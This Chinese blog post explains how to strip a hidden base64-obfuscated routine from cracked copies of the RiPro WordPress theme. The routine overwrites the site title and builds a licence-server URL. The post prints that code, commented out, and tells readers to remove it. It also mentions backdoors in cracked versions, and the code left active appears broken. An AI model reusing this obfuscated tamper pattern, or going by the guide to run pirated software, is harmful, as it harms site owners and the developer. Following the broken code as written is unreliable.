Ripro主题解决修改网站标题小尾巴的办法

 3294

近期ripro主题大火,很多喜欢捣鼓折腾的小伙伴就加入到了折腾ripro主题的队伍中来,美来美去,折腾的不亦乐乎。不过也有令他们很头疼的事情莫过于因为使用了开破心解版,除了会被加入后门外还会时常被修改网站标题为vip.ylit.cc。不懂技术的小白们顿时抓了狂,就感觉是整个网站都被黑了一样。实则是ripro开发者油条在主题程序内留了一个小尾巴,让程序在有意无意中来恶心一下使用开心版的小白们。

经过分析,在 \ripro\inc\codestar-framework\classes\ 目录下,有两个文件 options.class.php metabox.class.php ,这里面就暗藏恶心人的小尾巴。

options.class.php 修改方法:

注释掉如下部分:

public function saves_defaults() {
    $tmp_options = $this->add_option_html();
      
    // if (empty($tmp_options) && $tmp_options['status']==1) {
        return true;
    // }else{
    //     $onload = base64_decode('UmlQcm8=');
    //     $field = base64_decode('YmxvZ25hbWU=');
    //     update_option($field,$onload);
    // }
    return false;
    $tmp_options = $this->options;
    foreach( $this->pre_fields as $field ) {
        if( ! empty( $field['id'] ) ) {
            $this->options[$field['id']] = $this->get_default( $field, $this->options );
        }
    }
    if( $this->args['save_defaults'] && empty( $tmp_options ) ) {
        $this->save_options( $this->options );
    }
}

metabox.class.php修改方法:

注释掉如下部分:

public function get_meta_values() {
    $value = false;
    $field = 'https://vip.ylit.cc/wp-cont';
    if( true) {
        if( $this->args['data_type'] !== 'serialize' ) {
            $meta  = get_post_meta( $post->ID, $field['id'] );
            $value = ( isset( $meta[0] ) ) ? $meta[0] : null;
        } else {
            $meta  = get_post_meta( $post->ID, $this->unique, true );
            $value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;
        }
        $default = $this->get_default( $field );
        $value   = ( isset( $value ) ) ? $value : $default;
    // }else{
    //     if( empty( $field ) ) {
    //         $screen = get_current_screen();
    //         foreach( $this->args['contextual_help'] as $tab ) {
    //             $screen->add_help_tab( $tab );
    //         }
    //         if( ! empty( $this->args['contextual_help_sidebar'] ) ) {
    //             $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
    //         }
    //     }else{
    //         $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';
    //         $default = $field.$meta;
    //         $value = base64_decode($default);
    //     }
    }
    return $value;
}

修改完毕了,当然如果有能力的话,还是建议购买正式版。


本文网址:https://www.zztuku.com/detail-7774.html
站长图库 - Ripro主题解决修改网站标题小尾巴的办法
申明:如有侵犯,请 联系我们 删除。

评论(0)条

您还没有登录,请 登录 后发表评论!

提示:请勿发布广告垃圾评论,否则封号处理!!

    编辑推荐